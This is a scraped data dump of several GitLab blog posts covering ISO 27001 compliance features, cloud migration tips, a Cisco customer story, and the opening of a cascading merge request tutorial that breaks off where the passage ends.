embark on their AI journey, more and better software will have to be created. Drawing insights from DevSecOps combined with AI-powered workflows provides a solid foundation to enjoy the benefits of AI, unlock new use cases, and provide robust solutions that learn from data. Ultimately, AI enables organizations to enhance software development practices and to tackle modern problems with modern solutions.\n\nGet started with GitLab Duo today with this [free trial of GitLab Ultimate](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=localhost%2Fsolutions%2Fai%2F).\n",[943,479,790],{"slug":8610,"featured":6,"template":678},"modern-software-development-problems-require-modern-ai-powered-devsecops","content:en-us:blog:modern-software-development-problems-require-modern-ai-powered-devsecops.yml","Modern Software Development Problems Require Modern Ai Powered Devsecops","en-us/blog/modern-software-development-problems-require-modern-ai-powered-devsecops.yml","en-us/blog/modern-software-development-problems-require-modern-ai-powered-devsecops",{"_path":8616,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8617,"content":8622,"config":8627,"_id":8629,"_type":16,"title":8630,"_source":17,"_file":8631,"_stem":8632,"_extension":20},"/en-us/blog/how-gitlab-can-support-your-iso-compliance-journey",{"title":8618,"description":8619,"ogTitle":8618,"ogDescription":8619,"noIndex":6,"ogImage":3431,"ogUrl":8620,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8620,"schema":8621},"How GitLab can support your ISO 27001 compliance journey","As a strategic partner, GitLab's software security features can help support your ISO 27001 compliance.","https://about.gitlab.com/blog/how-gitlab-can-support-your-iso-compliance-journey","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab can support your ISO 27001 compliance journey\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2023-09-06\",\n      }",{"title":8618,"description":8619,"authors":8623,"heroImage":3431,"date":8624,"body":8625,"category":674,"tags":8626},[1224],"2023-09-06","\nAs a single, all-inclusive platform, managing your DevSecOps lifecycle with GitLab is easy. GitLab’s platform enables developers to build better software faster. But the effectiveness of GitLab extends beyond DevSecOps.\n\nIn October of 2022, the International Organization for Standardization released the latest edition of the ISO 27001 standard. ISO/IEC 27001:2022 includes several changes from its previous edition, including the addition of Annex A controls focused on secure coding and configuration management.\n\nAt GitLab, we leverage our platform to support many aspects of our security compliance program, a concept we internally call [dogfooding](https://about.gitlab.com/direction/dogfooding/). An overview of the compliance and assurance credentials that we maintain can be found on our [Trust Center](https://about.gitlab.com/security/) page.\n\nLet’s review the primary functions you can leverage to support your ISO 27001 compliance journey.\n\n## Organizational controls\n\n| Control ID | Control Description |\n| ---- | ---- |\n| 5.3 Segregation of duties | Conflicting duties and conflicting areas of responsibility shall be segregated. |\n| 5.15 Access control | Rules to control physical and logical access to information and other associated assets shall be established and implemented based on business and information security requirements. |\n| 5.16 Identity management | The full lifecycle of identities shall be managed. |\n| 8.2 Privileged access rights | The allocation and use of privileged access rights shall be restricted and managed.|\n| 8.4 Access to source code | Read and write access to source code, development tools, and software libraries shall be appropriately managed. |\n\nWith GitLab, you can [assign users a role](https://docs.gitlab.com/ee/user/permissions.html) when you add them to a project or group. A user’s role determines the actions they can take within your GitLab instance. The following roles are available for assignment:\n* Guest (private and internal projects only)\n* Reporter\n* Developer\n* Maintainer\n* Owner\n* Minimal access (available for the top-level group only)\n\nGitLab’s roles enable you to limit a user’s permissions in accordance with the [principle of least privilege](https://csrc.nist.gov/glossary/term/least_privilege) and your business and information security requirements.\n\nGitLab enables you to centralize authentication and authorization responsibilities for your GitLab instance through [SAML SSO](https://docs.gitlab.com/ee/user/group/saml_sso/) integrations. GitLab integrates with a wide range of identity providers to support our customers’ diverse tech stacks. GitLab also supports the System for Cross-Domain Identity Management ([SCIM](https://docs.gitlab.com/ee/user/group/saml_sso/scim_setup.html)). Through GitLab’s SSO and SCIM integrations, you can automate the lifecycle of your user identities in a secure and efficient manner.\n\n[SSO](https://docs.gitlab.com/ee/integration/saml.html) and [SCIM](https://docs.gitlab.com/ee/administration/settings/scim_setup.html) are also available for GitLab self-managed customers.\n\n**Note:** Annex A Technological controls 8.2 and 8.4 were included in the chart above due to their close relationship with Organizational controls 5.3, 5.15, and 5.16. The same GitLab features can be applied to support these control requirements.\n{: .note}\n\n\u003Cbr>\n\n| Control ID | Control Description |\n| ---- | ---- |\n| 5.8 Information security in project management | Information security shall be integrated into project management. |\n\nWith GitLab, you can use our [planning tools](https://about.gitlab.com/features/?stage=plan) to support your project management efforts and ensure information security is being appropriately considered through all phases of a project’s lifecycle.\n\n- GitLab’s [team planning](https://about.gitlab.com/features/?stage=plan#team_planning) features enable users to organize, plan, align, and track project work from idea to production.\n\n- [Epics](https://docs.gitlab.com/ee/user/group/epics/), [issues](https://docs.gitlab.com/ee/user/project/issues/), and [tasks](https://docs.gitlab.com/ee/user/tasks.html) can be used to collaborate on ideas, solve problems, and plan work with your information security team. [Description templates](https://docs.gitlab.com/ee/user/project/description_templates.html) and [checklists](https://docs.gitlab.com/ee/user/markdown.html#task-lists) enable users to apply a consistent description and workflow to issues or [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/index.html). These templates support a consistent approach to integrating information security into your project management lifecycle. \n\n- [Labels](https://docs.gitlab.com/ee/user/project/labels.html) allow users to organize issues as they see fit. To support information security, labels may be used to identify the risk level associated with a project, identify the stage a project is in, or identify the information security team that is responsible for a set of work. [Scoped labels](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) can be used to add further logic to workflows by preventing certain labels from being used together. At GitLab, we leverage [scoped labels](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) to identify work assigned to different teams, the project stage the work resides in, and the product or feature set associated with the work.\n\n![Scoped Labels](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/scoped-labels.png)\n\nScoped Labels\n{: .note.text-center}\n\n- [Group](https://docs.gitlab.com/ee/user/project/issue_board.html#group-issue-boards) and [project](https://about.gitlab.com/stages-devops-lifecycle/issueboard/) issue boards can be used to further organize your work and provide a central, aggregated view of all work associated with a group or project.\n\n## Technological controls\n\n| Control ID | Control Description |\n| ---- | ---- |\n| 8.8 Management of technical vulnerabilities | Information about technical vulnerabilities of information systems in use shall be obtained, the organization’s exposure to such vulnerabilities shall be evaluated and appropriate measures shall be taken. |\n| 8.9 Configuration management | Configurations, including security configurations, of hardware, software, services and networks shall be established, documented, implemented, monitored, and reviewed. |\n| 8.25 Secure development lifecycle | Rules for the secure development of software and systems shall be established and applied. |\n| 8.26 Application security requirements | Information security requirements shall be identified, specified, and approved when developing or acquiring applications. |\n| 8.27 Secure system architecture and engineering principles | Principles for engineering secure systems shall be established, documented, maintained, and applied to any information system development activities |\n\nWith GitLab, you can store your hardware and software configurations, maintain version control, update your configurations via [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/index.html), and leverage GitLab’s [CI/CD pipelines](https://docs.gitlab.com/ee/ci/pipelines/) to push those configurations to your applications and infrastructure. GitLab enables organizations to implement [GitOps](https://about.gitlab.com/topics/gitops/) through a single platform.\n\nGitLab’s [infrastructure-as-code scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) functionality enables you to scan your IaC configuration files for known vulnerabilities. GitLab’s IaC scanning supports a variety of IaC configuration files and languages making it adaptable to different tech stacks.\n\nFor compliance professionals, GitLab enables you to implement automation through [compliance frameworks](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html) and [compliance pipelines](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html#compliance-pipelines). These features enable users to identify critical projects that have certain compliance requirements and push configurations to those projects via pipelines. They enable consistent enforcement of controls, thereby supporting your security posture and facilitating adherence to your organization’s internal and external compliance requirements.\n\nFor [Ultimate](https://about.gitlab.com/pricing/ultimate/) customers, GitLab’s [Compliance Center](https://docs.gitlab.com/ee/user/compliance/compliance_center/index.html) provides a centralized view of a group’s compliance posture, such as the different compliance frameworks being applied to the projects in the group. You can even see how well you comply with the [GitLab Standard](https://docs.gitlab.com/ee/user/compliance/compliance_center/index.html#gitlab-standard).\n\n\u003Cbr>\n\n| Control ID | Control Description |\n| ---- | ---- |\n| 8.15 Logging | Logs that record activities, exceptions, faults and other relevant events shall be produced, stored, protected, and analyzed. | \n| 8.16 Monitoring activities Control | Networks, systems, and applications shall be monitored for anomalous behavior and appropriate actions taken to evaluate potential information security incidents. |\n\nWith GitLab, you can use [audit events](https://docs.gitlab.com/ee/administration/audit_events.html) to track important events, including who performed the related action and when. Audit events cover a broad range of categories, including:\n* Group management\n* Authentication and authorization\n* User management\n* Compliance and security\n* CI/CD\n* GitLab Runners\n\n![Audit events](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/example-of-an-audit-event.png)\n\nExample of an audit event\n{: .note.text-center}\n\nFor [Ultimate](https://about.gitlab.com/pricing/ultimate/) customers, [audit event streaming](https://docs.gitlab.com/ee/administration/audit_event_streaming/index.html) can be enabled. Audit event streaming enables users to set a streaming destination for a top-level group or instance to receive all audit events about the group, subgroups, and projects, as structured JSON.\n\n\u003Cbr>\n\n| Control ID | Control Description |\n| ---- | ---- |\n| 8.28 Secure coding | Secure coding principles shall be applied to software development. |\n| 8.29 Security testing in development and acceptance | Security testing processes shall be defined and implemented in the development lifecycle. | \n\nYou can use the features in GitLab’s [Secure](https://about.gitlab.com/features/?stage=secure) stage to enhance your software development lifecycle and improve the security of your products. GitLab’s Secure stage features include:\n* [Static application security testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/)\n* [Dynamic application security testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/)\n* [Code quality](https://docs.gitlab.com/ee/ci/testing/code_quality.html)\n* [Container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/)\n* [Dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\n\nAnd much more!\n\n![Code quality findings](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/code-quality-findings.png)\n\nCode quality findings\n{: .note.text-center}\n\nLeaked secrets is one of the leading catalysts of security breaches. GitLab’s [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) scans your repository to help prevent your secrets from being exposed.\n\nGitLab’s [Policies](https://docs.gitlab.com/ee/user/application_security/policies/) feature enables users to implement [scan execution](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html) and [scan result](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) policies based on configured logic. These policies combine the scanning capabilities in the [Secure](https://about.gitlab.com/features/?stage=secure) stage with [merge request approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/) to further enforce compliance requirements.\n\nTogether, GitLab’s Secure features create a foundation for a secure software development lifecycle program and enable you to implement secure coding principles in accordance with your organization’s requirements.\n\n\u003Cbr>\n\n| Control ID | Control Description |\n| ---- | ---- |\n| 8.32 Change management | Changes to information processing facilities and information systems shall be subject to change management procedures. |\n\nGitLab offers many features to support a comprehensive change management program.\n\nGitLab’s source code management features enable users to implement [protected branches](https://docs.gitlab.com/ee/user/project/protected_branches.html). Protected branches allow GitLab users to impose restrictions on certain branches that are considered critical to their operations. A protected branch controls:\n* which users can merge into the branch\n* which users can push to the branch\n* if users can force push to the branch\n* if changes to files listed in the CODEOWNERS file can be pushed directly to the branch\n* which users can unprotect the branch\n\nThe [default branch](https://docs.gitlab.com/ee/user/project/repository/branches/default.html) in a repository is automatically designated as a protected branch.\n\n![Protected branches](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/protected-branches-settings-within-gitlab.png)\n\nProtected branches settings within GitLab\n{: .note.text-center}\n\nMerge requests (MR) are a core component of the software development lifecycle. GitLab users can configure their MRs so that they must be approved before they can be merged. MR approvals allow users to set the minimum number of required approvals before work can merge into a project. Some examples of rules you can create include:\n* Users with specific permissions can always approve work.\n* [Code owners](https://docs.gitlab.com/ee/user/project/codeowners/index.html) can approve work for files they own.\n* Users with specific permissions can approve work, [even if they don’t have merge rights](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#merge-request-approval-segregation-of-duties) to the repository.\n* Users with specific permissions can be allowed or denied the ability to [override approval rules on a specific merge request](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#edit-or-override-merge-request-approval-rules).\n\nAs previously mentioned, [issues](https://docs.gitlab.com/ee/user/project/issues/) and [tasks](https://docs.gitlab.com/ee/user/tasks.html) can be used to document and collaborate on change requests. [Description templates](https://docs.gitlab.com/ee/user/project/description_templates.html) enable users to apply a consistent description to issues or [MRs](https://docs.gitlab.com/ee/user/project/merge_requests/index.html). These templates support a consistent approach to requesting changes in a manner that best fits your organization.\n\n## Learn more\nAs a comprehensive DevSecOps platform, GitLab supports a broad range of requirements. ISO added additional controls around secure coding and configuration management in the 2022 edition of the ISO standard. This demonstrates that certifying bodies have an increased focus on software security as a whole. As a strategic partner, GitLab can help support your ISO 27001 compliance journey and help you develop better software faster.\n\nTo learn more about these features, see our library of [tutorials](https://docs.gitlab.com/ee/tutorials/).",[674,754,2705],{"slug":8628,"featured":6,"template":678},"how-gitlab-can-support-your-iso-compliance-journey","content:en-us:blog:how-gitlab-can-support-your-iso-compliance-journey.yml","How Gitlab Can Support Your Iso Compliance Journey","en-us/blog/how-gitlab-can-support-your-iso-compliance-journey.yml","en-us/blog/how-gitlab-can-support-your-iso-compliance-journey",{"_path":8634,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8635,"content":8641,"config":8646,"_id":8648,"_type":16,"title":8649,"_source":17,"_file":8650,"_stem":8651,"_extension":20},"/en-us/blog/five-ways-to-streamline-cloud-adoption",{"title":8636,"description":8637,"ogTitle":8636,"ogDescription":8637,"noIndex":6,"ogImage":8638,"ogUrl":8639,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8639,"schema":8640},"5 ways to streamline your cloud adoption","As companies migrate to the cloud, consider these helpful tips for making the move smoother and more efficient.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663930/Blog/Hero%20Images/daytime-clouds_1800x945.png","https://about.gitlab.com/blog/five-ways-to-streamline-cloud-adoption","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 ways to streamline your cloud adoption\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2023-09-05\",\n      }",{"title":8636,"description":8637,"authors":8642,"heroImage":8638,"date":8643,"body":8644,"category":962,"tags":8645},[3907],"2023-09-05","\nMoving to the cloud makes sense to a lot of companies — it’s getting there that can be difficult.\n\n[GitLab’s 2023 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2023/) showed that migrating to the cloud can help organizations release software faster: Respondents who were running at least 25% of their applications in the cloud were twice as likely to release software faster than they were a year ago.\n\nHowever, the migration, whether to a single-cloud service or a multi-cloud environment, can be a big lift. IT teams are tasked with securing major data stores and workloads, navigating the complexities of moving legacy applications, and ensuring that cloud environments comply with applicable data regulations and laws. It can be complicated, with a lot of moving pieces that are often difficult to track. \n\nAnd the longer a migration drags on, the more things can go wrong and the more expensive it can get. It only makes sense to look for a way to make something so critical to the business easier, faster, and less expensive.\n\nAbubakar Siddiq Ango, developer evangelism program manager at GitLab, and Fatima Sarah Khalid, developer evangelist at GitLab, share five ways organizations can alleviate some of the time-consuming, repetitive, and arduous tasks it takes to successfully make that move.\n\n## 1. Take care of your data\nOne of the most difficult parts of a cloud migration is moving the data itself – especially if it’s complex and stored across multiple systems – but there are a few ways you can organize and streamline the tasks involved to make them more straightforward. For example, to save time and increase efficiency, Khalid notes that team members can create [issues](https://docs.gitlab.com/ee/user/project/issues/), break tasks down into [milestones](/blog/tackle-nists-plan-of-action-and-milestones-with-gitlabs-risk-management-features/), and use the [Roadmap](https://docs.gitlab.com/ee/user/group/roadmap/) feature, which gives teams a more granular view of their workflow.\n\n## 2. Avoid security pitfalls\n[Security](/blog/its-time-to-put-the-sec-in-devsecops/) should be a key consideration in any cloud migration. Moving to a cloud environment can inadvertently cause misconfigured servers, unsecure APIs, compliance infringements, and data loss. Any of these problems can trip up cloud migration efforts and expose the company to risk.\n\nTo ensure the move to the cloud proceeds smoothly while minimizing security risks, Ango says teams can use [container](https://docs.gitlab.com/ee/user/application_security/container_scanning/) and [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) and [static application security testing](https://docs.gitlab.com/ee/user/application_security/sast/) (SAST) to identify and remediate known vulnerabilities in container images, dependencies, and source code. Teams also can use features such as [code quality](https://docs.gitlab.com/ee/ci/testing/code_quality.html) analysis to supplement existing code review processes and ensure that the project’s code is simple, high-quality, and straightforward to maintain — and, therefore, less likely to cause issues during the migration.  \n\n## 3. Automate compliance\n[Compliance](/blog/top-5-compliance-features-to-leverage-in-gitlab/) is another critical issue. IT teams need to ensure the new cloud environment continues to meet all of the organization's regulatory requirements — a potentially large number of standards. That means making sure processes and safeguards focused on data protection are in place and cover the information and applications being moved to the cloud. Manually, that can involve spreadsheets, seemingly endless checklists, and cross-functional teams of people culling through data. Automation makes this more streamlined, requires far fewer people to navigate the process, and is simpler to manage. Automated DevOps practices, like security scanning, [policy automation](/solutions/compliance/), and making compliance standards part of the CI/CD pipeline, all act as guardrails to [keep an organization’s compliance needs on track](/blog/the-importance-of-compliance-in-devops/). With these tools at hand, team members can trust that when they create compliance frameworks and policies, the associated rules will be automatically deployed and enforced throughout the software development lifecycle.\n\n## 4. Relieve configuration challenges\nSetting up and configuring a cloud platform can be a time-consuming and complicated job, but [CI/CD capabilities](/blog/introducing-ci-components/) help automate the configuration process, says Ango. With CI templates, teams can build and deploy applications to different cloud providers or installation targets without having to write their own CI script every time. For instance, [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/), a collection of pre-configured features and integrations, uses CI/CD templates to handle deployments on each different cloud environment.\n\nThe [GitLab agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/install/) also can offer integration capabilities for different cloud providers and services. The agent, which helps set up GitOps, automatically deploys workloads to Kubernetes clusters. Any time new changes are made, it pulls them in and deploys them into a cluster.\nAlso, teams can use [GitLab and Terraform for infrastructure as code](https://docs.gitlab.com/ee/user/infrastructure/iac/), removing the complexities of making configuration changes repeatable, traceable, and more scalable, which is essential for cloud environments.\n\n## 5. Go multi-cloud\nWhile some companies are making initial moves to the cloud, others are expanding from a single cloud to a multi-cloud environment. This strategy enables organizations to run different workloads on different cloud platforms. Being cloud agnostic means they can use the same development tools and internal processes, and then choose where they want to have their workloads run based on their business needs. Problems can arise, though, when IT teams turn to vendor-locked, cloud native developer tools, which are tailored to their own services and might, or might not, support other cloud environments. Using different tools for each cloud platform isn’t efficient, so it’s key to find tools that are cloud or provider agnostic. \n\n## Uncomplicate cloud migration with a DevSecOps platform\nYes, there are different ways to ease a cloud migration – but do teams have to go out and round up a dozen different tools to ensure their migration is fast, secure, and compliant? No, they don't.\n\n“A lot of teams are realizing that having a single, unified place to simplify, automate, and manage the process of setting up or migrating to the cloud is a game changer,” says Khalid. “With an end-to-end [DevSecOps platform](/blog/utilize-the-gitlab-devops-platform-to-avoid-cloud-migration-hazards/), users are able to deploy to any of the common public clouds; support collaboration through features like merge requests, code reviews, and issue tracking; support integrations with a variety of third-party tools; and have built-in security features that allow teams to meet their needs.”\n\nTaking advantage of the GitLab DevSecOps Platform can uncomplicate a lot of those adoption challenges. And GitLab works with any cloud provider.\n\n“I know when people think about the GitLab platform, they focus on security, source code management, and [collaboration](/blog/5-ways-collaboration-boosts-productivity-and-your-career/). But we also really should be thinking about how it’s a tool that helps organizations get their [workload to the cloud](/blog/shifting-from-on-prem-to-cloud/),” says Ango. “You have to be able to work fast, move fast and deploy fast on whatever cloud environment you need, and do it all securely. That is what GitLab offers. That is a big deal.”\n\n_To find the features — all in one place — that your organization needs to ease and speed a cloud migration, check out this [free trial of GitLab Ultimate](https://about.gitlab.com/free-trial/devsecops/)._\n",[943,3949,1384,1385],{"slug":8647,"featured":6,"template":678},"five-ways-to-streamline-cloud-adoption","content:en-us:blog:five-ways-to-streamline-cloud-adoption.yml","Five Ways To Streamline Cloud Adoption","en-us/blog/five-ways-to-streamline-cloud-adoption.yml","en-us/blog/five-ways-to-streamline-cloud-adoption",{"_path":8653,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8654,"content":8660,"config":8664,"_id":8666,"_type":16,"title":8667,"_source":17,"_file":8668,"_stem":8669,"_extension":20},"/en-us/blog/six-reasons-cisco-learning-and-certifications-adopted-gitlab",{"title":8655,"description":8656,"ogTitle":8655,"ogDescription":8656,"noIndex":6,"ogImage":8657,"ogUrl":8658,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8658,"schema":8659},"6 reasons Cisco Learning and Certifications adopted GitLab","Learn what Cisco Learning and Certifications's principal engineer and lead architect shared about the organization's use of GitLab at our DevSecOps World Tour in Chicago.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670302/Blog/Hero%20Images/lightbulb-book.png","https://about.gitlab.com/blog/six-reasons-cisco-learning-and-certifications-adopted-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"6 reasons Cisco Learning and Certifications adopted GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2023-09-05\",\n      }",{"title":8655,"description":8656,"authors":8661,"heroImage":8657,"date":8643,"body":8662,"category":2702,"tags":8663},[3907],"\nAfter adopting the GitLab DevSecOps Platform, the learning and certification arm of tech giant Cisco Systems, Inc. saw its toolchain shrink and was able to offer its entire software development team a way to improve collaboration and accelerate production.\n\nThat’s part of the story that Hank Preston, principal engineer and lead architect with [Cisco Learning and Certifications](https://www.cisco.com/c/en/us/training-events/training-certifications.html), shared in an on-stage interview at the Chicago stop of [GitLab’s DevSecOps World Tour](https://about.gitlab.com/events/devsecops-world-tour/).\n\nPreston also spent part of his conversation with Nico Ochoa, senior major account executive at GitLab, talking about the rapid rise in interest in AI and how that is likely to affect everything from how they create software to how newer developers learn to code.\n\nHere are some of the opportunities Cisco Learning and Certifications is gaining from using GitLab:  \n \n## 1. Getting a handle on version control\nPreston said one of the biggest challenges he was looking to overcome by adopting a DevSecOps platform was resolving and [preventing conflicts](/topics/version-control/how-implement-version-control/) they had keeping track of code modifications and version updates, which can be easy to lose sight of when handling them manually. For example, the team had been storing templates and configuration pieces in different places and ended up having an “extreme inability” to know what had been changed and where it went, he said. Using a platform gives the team a way to more easily and clearly manage source and version controls. “It gave us a way to actually keep everything in one place, and understand the trajectory and history of changes,” he said.\n\n## 2. Ensuring accountability\n“Gaining accountability was a big one for us,” Preston told the audience. “We needed to know when something changed, who changed it, and who approved that change.” In an efficient, high-performing DevSecOps team, this kind of transparent accountability is critical. Both the development and operations teams have an equal stake in DevSecOps success. The problem is that it can be difficult to do when team structures and responsibilities are outdated or haven’t been updated in documentation. Clearly distributing functions and noting who needs to do a task, as well as when and who accomplished a task, makes this work. “When I taught a bunch of network engineers how to do merge requests and branching, it became less of a challenge for us,” Preston said. \n\n## 3. Consolidating their toolchain\n“[Reducing our toolchain](/blog/too-many-toolchains-a-devops-platform-migration-is-the-answer/) … that was one of the reasons we selected GitLab. I didn't want to have to have a source control tool and a CI tool and an issues tool,” Preston said.\n\nCisco Learning and Certifications still uses Jira — a decision Preston said was not his own. “I'm looking forward to potentially getting rid of [Jira] in the future. But not having to manage a bunch of tools was a big value for us because then there are less things to integrate, less things to upgrade, and less things I have to train people on how to use,” he added.\n\n## 4. Boosting collaboration \nWhen different team members want to [collaborate](/blog/5-ways-collaboration-boosts-productivity-and-your-career/) on a project, sharing responsibilities and information, it’s critical for them to be able to all work in the same place. Preston explained that having a single, end-to-end platform that everyone works in means teammates don’t have to go looking for something across multiple tools. “Now everybody knows where to go to find the code and the templates they need. And the automation pieces are right there,” he added. “We don’t need to go looking for things or logging into, say, Mark's particular OneDrive folder to find a piece we need.” \n\n## 5. Having a single source of truth\n“I'm a big proponent of the concept of a single source of truth,” said Preston. “I tell people that the network shouldn't be the source of truth. That's the implementation of what our source of truth is.”\n\nCisco Learning and Certifications uses GitLab as the source of truth for a lot of its configuration templates, automation scripts and jobs, and infrastructure as code, according to Preston. “So whether it’s our data centers or sites, all the data should be aggregated and stored according to a single reference point. We have a plan and a way of doing things and everyone can see what that is,” he said.\n\n## 6. Speeding up production\nPreston also noted he’s using the platform to gain insight into and improve the time it takes to move a software project from ideation to development and into deployment. “One of the metrics I'm trying to use with our team now is how long it takes us to get something from an idea to working software,” he said. “If I’m trying to get an update into production or if I'm trying to fix something on the infrastructure stack, how long does it take us to get to where we feel comfortable pushing it into production? That's a metric we're watching. I don't want it to take 18 months to go from an idea to release. I needed that to be much faster.”\n\n## How AI could affect software creation, developer learning\nDuring his on-stage talk, Preston also turned his attention to artificial intelligence (AI), speaking about the growing call for the use of [AI in DevSecOps](/blog/ai-assisted-code-suggestions/), how it may be regulated, and how it could affect software developers.\n\n“AI in DevOps has changed dramatically just over the last three months or so,” he said. “The [AI transition](/blog/extending-code-suggestions/) has been rapid. I can't even pretend to guess what the next two years of it will look like, let alone the next five years. I think it’s an interesting challenge, and, well, to be honest, it makes me personally nervous.”\n\nHe added that he’s concerned about the issue of intellectual property and who owns the code that AI generates. Will the software built by AI be owned by the company the code was built for, or by the person or company that created the AI?\n\n“The intellectual property question is a big one. It’s something that has to be figured out,” he said.\n\nAnother thing that nags at Preston is how using AI in DevSecOps will affect the way people learn to develop code if it’s automatically being generated for them. Will people still become coding wizards if they don’t actually have to do it themselves?\n\n“I think about how this will affect the path of software developers and engineers who are coming onto the team,” he said. “How will they become our coding experts in the future? I love the code generation process but it also makes me worried. I wonder — and part of me thinks I'm just being the grouchy old man — how do we teach the new engineers how to make a connection to MySQL if the minute they type ‘M-Y-S-Q-L,’ the code comes up? That’s a scary spot. I know there's a lot of value to the grunt work being thinned out, but there’s value that comes with the doing and learning.”\n\nAnswering a question about whether Cisco allows developers to use AI-generated code, Preston replied, “Generally, no.” He said executives need to work through intellectual property questions first, but AI is a tool they plan to implement.\n\nPreston also was asked about maintaining standards when using AI to generate code. “We're looking for AI solutions we can leverage that will meet the coding requirements we have across the board,” he said. “But I think the question on standards is important. It's going to be the same way we handle it when people write code. Code will all have to be checked against set standards, whether it’s written by people or AI.”\n\n_Preston’s team within Cisco Learning and Certifications is responsible for creating and maintaining the software needed for the digital learning platform that offers instant user access to training information, classes, course materials, and exam preparation resources. Cisco employees use the platform to gain certifications, like CCNA, CCMP, and CCIE._\n\n_GitLab’s DevSecOps World Tour was designed to enable everyone — from technology champions to executives and software development team members — to gather and learn about the ideas and technologies driving the DevSecOps transformation. Learn more about our [DevSecOps World Tour](https://about.gitlab.com/events/devsecops-world-tour/)._\n",[943,2705,790],{"slug":8665,"featured":6,"template":678},"six-reasons-cisco-learning-and-certifications-adopted-gitlab","content:en-us:blog:six-reasons-cisco-learning-and-certifications-adopted-gitlab.yml","Six Reasons Cisco Learning And Certifications Adopted Gitlab","en-us/blog/six-reasons-cisco-learning-and-certifications-adopted-gitlab.yml","en-us/blog/six-reasons-cisco-learning-and-certifications-adopted-gitlab",{"_path":8671,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8672,"content":8678,"config":8683,"_id":8685,"_type":16,"title":8686,"_source":17,"_file":8687,"_stem":8688,"_extension":20},"/en-us/blog/cascading-merge-requests-with-gitlab-flow",{"title":8673,"description":8674,"ogTitle":8673,"ogDescription":8674,"noIndex":6,"ogImage":8675,"ogUrl":8676,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8676,"schema":8677},"How to adopt a cascading merge request strategy with GitLab Flow","This tutorial explains how to consolidate updates in a single branch and propagate them to other branches using ucascade bot.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679851/Blog/Hero%20Images/cascade.jpg","https://about.gitlab.com/blog/cascading-merge-requests-with-gitlab-flow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to adopt a cascading merge request strategy with GitLab Flow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Madou Coulibaly\"}],\n        \"datePublished\": \"2023-08-31\",\n      }",{"title":8673,"description":8674,"authors":8679,"heroImage":8675,"date":8680,"body":8681,"category":734,"tags":8682},[8325],"2023-08-31","\nGit offers a range of branching strategies and workflows that can be utilized to enhance organization, efficiency, and code quality. Employing a well-defined workflow helps foster a successful and streamlined development process. By implementing the [release branches using GitLab Flow](https://docs.gitlab.com/ee/topics/gitlab_flow.html#release-branches-with-gitlab-flow), you can effectively handle multiple product releases. However, when it comes to fixing bugs, it often becomes necessary to apply the fix across various stable branches such as `main`,  `stable-1.0`, `stable-1.1`, and `stable-2.0`. The process of applying the fix to multiple locations can be time-consuming, as it involves the manual creation of multiple merge requests.\n\nBy consolidating updates in a single branch and propagating them to other branches, the cascading merge approach establishes a central source of truth, reducing confusion and maintaining consistency. In this blogpost, we will guide you through setting up this approach for your GitLab project using [ucascade bot](https://github.com/unblu/ucascade).\n\n## Getting started\nTo get started, you'll need the following prerequisites:\n\n### Environment\n  - a GitLab project that implemented [Release Branches Strategy](https://docs.gitlab.com/ee/topics/gitlab_flow.html#release-branches-with-gitlab-flow)\n  - a Kubernetes cluster\n\n### CLI\n  - git\n  - kubectl\n  - docker\n\n### Project access tokens\nFollow the instructions on the [Project access tokens page](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#create-a-project-access-token) to create two project access tokens –`ucascade` and `ucascade-approver` – with the API scope in your GitLab project.\n\n![project access tokens](https://about.gitlab.com/images/blogimages/2023-06-22-cascading-merge-requests-with-gitlab-flow/pat.png){: .shadow.medium}\n\n## Deploy ucascade bot on Kubernetes\nFirst, create the 